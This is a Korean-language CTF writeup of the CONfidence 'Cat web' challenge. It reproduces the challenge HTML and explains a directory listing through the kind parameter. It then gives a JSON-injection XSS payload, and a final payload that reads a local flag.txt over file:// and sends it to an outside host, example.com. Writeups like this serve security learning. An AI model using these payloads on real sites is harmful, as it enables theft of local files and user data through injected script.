Profile

i love cat

as3617

CONfidenceCTF Web writeup - Cat web

문제에 들어가면 귀여운 고양이 사진이 보인다. 일단 소스코드를 확인해보면


<html>
    <head>
        <title>My cats</title>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
    <script>
        function getNewCats(kind) {
            $.getJSON('http://catweb.zajebistyc.tf/cats?kind='+kind, function(data) {
                if(data.status != 'ok')
                {
                    return;
                }
                $('#cats_container').empty();
                cats = data.content;
                cats.forEach(function(cat) {
                    var newDiv = document.createElement('div');
                    newDiv.innerHTML = '<img style="max-width: 200px; max-height: 200px" src="static/'+kind+'/'+cat+'" />';
                    $('#cats_container').append(newDiv);
                });
            });

        }
        $(document).ready(function() {
            $('#cat_select').change(function() {
                var kind = $(this).val();
                history.pushState({}, '', '?'+kind)
                getNewCats(kind);
            });
            var kind = window.location.search.substring(1);
            if(kind == "")
            {
                kind = 'black';
            }
            getNewCats(kind);
        });
    </script>
    </head>
    <body>
        <select id="cat_select">
            <option value="black">black</option>
            <option value="grey">grey</option>
            <option value="red">red</option>
            <option value="white">white</option>
        </select>
        <div id="cats_container"></div>
        not like sumthing? send it <a href="/report">hier</a>
    </body>
</html>

위와 같이 코드가 되있는데 나는 http://catweb.zajebistyc.tf/cats?kind=이부분이 수상해보였고 접속해보니 다음과 같았다.

kind 파라미터 값에 따라서 json형식으로 사진파일이름을 전달해주는 것 같았다.

아무거나 넣어보고 있었는데 ?kind=/형식으로 전달해주니 내부 디렉토리를 보는 것이 가능했다.

플래그는 templates폴더 내부에 존재했지만 flag.txt에 접근하는 것은 안됬다(404가 뜬다)

문제에서 보면 report기능이 있는 것으로 봐서 xss문제라고 생각했고 json형식으로 값이 전달될 때 우리가 원하는 스크립트가 함께 반환되게 하면 될 것 같았다.

html코드를 보면

if(data.status != 'ok')
                {
                    return;
                }

위의 부분에서 반환된 json의 status값이 ok여야 되는데 간단하게
http://catweb.zajebistyc.tf/?", "status": "ok", "content": ["5.jpg"], "content" :["aaaa\"><script>alert('xss')</script>"], "asd": "

위와 같이 값을 전달해주면 xss를 터트리는 것이 가능하다. (간단한 js트릭을 이용하면 된다.)

그럼 이제 report기능을 이용해서 플래그를 얻으면 된다. 우리는 플래그가 /app/templates/flag.txt에 있다는 것도 알고 스크립트를 실행시킬 수 있기 때문에 다 푼거나 마찬가지다. 그런데 나는 여기서 막혔다.
왜냐하면 일단 자바스크립트에선 로컬파일에 접근하는 것이 기본적으로 막혀있고 SOP때문에 http://에선 file://로 접근하는 것도 불가능하다.
file:///app/templates/index.html?adsf", "status": "ok", "content":["a\"><script>let xhr = new XMLHttpRequest();xhr.onload=()=>{location.href='example.com/?q=' %2bxhr.responseText}; xhr.open('GET', 'flag.txt', false); xhr.send(); </script>"], "b": "

이렇게 링크를 넘겨주면 file://app/templates/index.html로 봇이 접속하게 되고 xhr.open을 통해서
file://app/templates/flag.txt로 접근하는 것이 가능하다.

그럼 flag.txt를 불러올 수 있고 내 서버에서 플래그를 확인 할 수 있다.

FLAG : p4{can_i_haz_a_piece_of_flag_pliz?}